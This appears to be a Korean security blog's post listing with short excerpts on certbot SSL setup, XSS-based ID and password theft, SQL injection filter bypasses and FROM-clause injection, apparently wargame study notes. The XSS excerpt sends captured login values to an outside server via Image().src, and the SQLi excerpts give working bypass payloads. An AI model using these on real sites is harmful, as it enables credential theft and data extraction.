40

nginx에 SSL 적용

인증서 적용. 어렵지 않다. 1. certbot install sudo apt install python3-certbot-nginx 2. certbot으로 서버에 SSL 인증서 설치 sudo certbot --nginx -d abc.com -d sub.abc.com 설치 도중 옵션에서 2를 누르면 http -> https 리다이렉트 설치가 완료되면 자동으로 /etc/nginx/sites-available에 있는 nginx 설정값들이 업데이트 되고 인증서가 매칭된다. 3. certbot 업데이트 certbot 인증서는 90일마다 업데이트 해야하는데, 사실 /etc/cron.d에 업데이트가 등록되어 있다. 테스트 명령어는 다음과 같다. sudo certbot renew --dry-run 4. 테스트 ssll..

2022.01.03

XSS로 아이디, 패스워드 탈취

원리는 다음과 같다.1. document.getElementById('uid').value로 아이디, 패스워드를 가져온다.2. 변수에 넣고 내 서버로 날리면 끝.3. location.href같은거 쓰면 페이지 이동이 되니까, 그냥 Image().src='http://server/id/pw';이렇게 해주고 서버에 access.log를 본다. (아니면 파라미터 넘겨도 되고)4. 쿼터가 막혀있을 수 있으니 String.fromCharCode()를 써서 아스키화 한다. id=document.getElementById(String.fromCharCode(117,105,100)).value;pw=document.getElementById(String.fromCharCode(117,112,119)).value;Ima..

웹/XSS 2019.06.26

sqli 필터링 우회

1. 공백 우회?id=(0)union(select(1),(2),group_concat(column_name),(4),(5)from(information_schema.columns)) 2. = 우회like, in, regexp 쓰면된다. regexp는 정규식 관련 연산자이다.또한, if, strcmp를 이용하는 방법도 있다.if(strcmp(substr(‘abc’,1,1),’a’),0,1) 3. 에러기반 SQLi1) 일단 가장 기본서브쿼리는 한 개의 행만 리턴해야 하는데, (select 1 union select 2)는 두 개의 행을 리턴하므로 에러를 뱉는다.if(조건,1, (select 1 union select 2)) 일케하면, 조건이 거짓일 땐 에러발생이므로 조건에 따른 blind 가능 2) 0xff..

웹/SQLi 2018.10.26

from 절에서 Injection으로 데이터 추출

select no, id from table 뭐 대충 이런 쿼리다 치고, table 부분에 인젝션이 가능하다고 하면 아래와 같은 쿼리로 데이터를 뽑아올 수 있다. (서브쿼리 이용) select no, id from (select no, pw id from table) a 서브쿼리의 결과도 테이블이므로, 이 테이블을 대상으로 select 하는 것 같다.alias는 테이블명 맞춰주기 위한 것이고 관련 문제 : http://websec.fr/level11/index.php 신기방기~

웹/SQLi 2018.07.28